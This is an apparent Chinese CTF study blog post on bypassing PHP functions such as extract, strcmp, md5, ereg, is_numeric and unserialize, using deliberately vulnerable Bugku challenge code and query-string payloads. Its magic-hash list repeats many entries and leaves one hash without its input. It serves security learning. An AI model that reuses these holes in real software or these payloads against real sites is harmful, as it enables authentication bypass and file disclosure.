php常见函数绕过

extract()

extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖
kugku例题:
http://120.24.86.145:9009/1.php

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

解题:

?shiyan=&flag=

strcmp()

5.2 中是将两个参数先转换成string类型。
5.3.3以后,当比较数组和字符串的时候,返回是0。
5.5 中如果参数不是string类型,直接return了

bugku例题:http://120.24.86.145:9009/6.php

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

解法:

a[]=

md5()

1)PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020

2)md5()不能处理数组。

bugku例题:http://120.24.86.145:9009/18.php

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

因为这里是”===”,所以只能用数组绕过
解法:

?username[]=&password[]=1

ereg()

bugku例题:http://120.24.86.145:9009/19.php

<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

字符串对比解析
在这里如果 $_GET[‘password’]为数组,则返回值为NULL
如果为123%00–,则返回值为true
其余为false

解法一:

?password=123%00--

解法二:

?password[]=

is_numeric()

PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字

<?php
echo is_numeric(233333); # 1
echo is_numeric('233333'); # 1
echo is_numeric(0x233333); # 1
echo is_numeric('0x233333'); # 1
echo is_numeric('233333abc'); # 0
?>

bugku例题:http://120.24.86.145:9009/22.php

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

解法一 :
%00截断

?password=1337%00

解法二:

?password=1337qwe

sha1()

md5 和 sha1 无法处理数组,返回 NULL

bukug例题:

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '

Your password can not be your name!

';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '
Invalid password.

';
}
else
echo '
Login first!

';
?>

解题:

?name[]=&password[]=12

strpos()

数组绕过

<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

解题:

?ctf[]=

变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

<?php

//key.php?aaaa'aaa=1&bb'b=2

//print_R($_GET);

foreach ($_GET AS $key => $value)

{

print $key."\n";

}

?>

preg_match()

如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题

<?php
$ip = '1.1.1.1 abcd'; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
die('error');
} else {
echo('key...');
}
?>

字符串比较

== 是弱类型的比较,以下比较都为 true

<?php  
echo 0 == 'a' ;// a 转换为数字为 0 重点注意

// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc
// 十六进制与整数,被转换为同一进制比较
'0xccccccccc' == '54975581388' ;
// 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0
1 == '1';
1 == '01';
10 == '1e1';
'100' == '1e2' ;

// 十六进制数与带空格十六进制数,被转换为十六进制整数
'0xABCdef' == ' 0xABCdef';
echo '0010e2' == '1e3';
// 0e 开头会被当成数字,又是等于 0*10^xxx=0
// 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过
'0e509367213418206700842008763514' == '0e481036490867661113260034900752';
'0e481036490867661113260034900752' == '0' ;

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>

parse_str()

与 parse_str() 类似的函数还有 mb_parse_str(),parse_str 将字符串解析成多个变量,如果参数str是URL传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。

//var.php?var=new  
$var='init';
parse_str($_SERVER['QUERY_STRING']);
print $var;

unset()

unset(bar);用来销毁指定的变量,如果变量bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过

<?php  
// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;

foreach(array('_GET','_POST') as $method) {
foreach($$method as $key=>$value) {
// $key == _CONFIG
// $$key == $_CONFIG
// 这个函数会把 $_CONFIG 变量销毁
unset($$key);
}
}

if ($_CONFIG['extraSecure'] == false) {
echo 'flag {****}';
}
?>

intval()

说明intval()转换的时候,会将从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。

<?php  
$a = '10000 union select * from yz';
if(intval($a)>1000)
echo $a ;
?>

switch()

如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型

<?php
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
?>

in_array()

下面的情况返回的都是true,因为’abc’会转换为0,’1bc’转换为1。
在所有php认为是int的地方输入string,都会被强制转换

$array=[0,1,2,'3'];  
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

serialize 和 unserialize漏洞

这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号开头的,比如 construct, destruct,toString,sleep,wakeup等等。这些函数都会在某些特殊时候被自动调用。
例如construct()方法会在一个对象被创建时自动调用,对应的destruct则会在一个对象被销毁时调用等等。
这里有两个比较特别的Magic方法,sleep 方法会在一个对象被序列化的时候调用。 wakeup方法会在一个对象被反序列化的时候调用。

在这里介绍一个序列化漏洞,首先不要相信用户输入的一切
看下面代码

<?php
class test
{
public $username = '';
public $password = '';
public $file = '';
public function out(){
echo "username: ".$this->username."<br>"."password: ".$this->password ;
}
public function __toString() {
return file_get_contents($this->file);
}
}
$a = new test();
$a->file = 'C:\Users\YZ\Desktop\plan.txt';
echo serialize($a);
?>
//tostring方法会在输出实例的时候执行,如果实例路径是隐秘文件就可以读取了

下面就可以读取了C:\Users\YZ\Desktop\plan.txt文件了
echo unserialize触发了__tostring函数

<?php
class test
{
public $username = '';
public $password = '';
public $file = '';
public function out(){
echo "username: ".$this->username."<br>"."password: ".$this->password ;
}
public function __toString() {
return file_get_contents($this->file);
}
}
$a = 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}';
echo unserialize($a);
?>

session 反序列化漏洞

大佬的文章写得挺详细的: https://blog.spoock.com/2016/10/16/php-serialize-problem/

参考文章:

https://blog.csdn.net/qq_31481187/article/details/60968595/

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器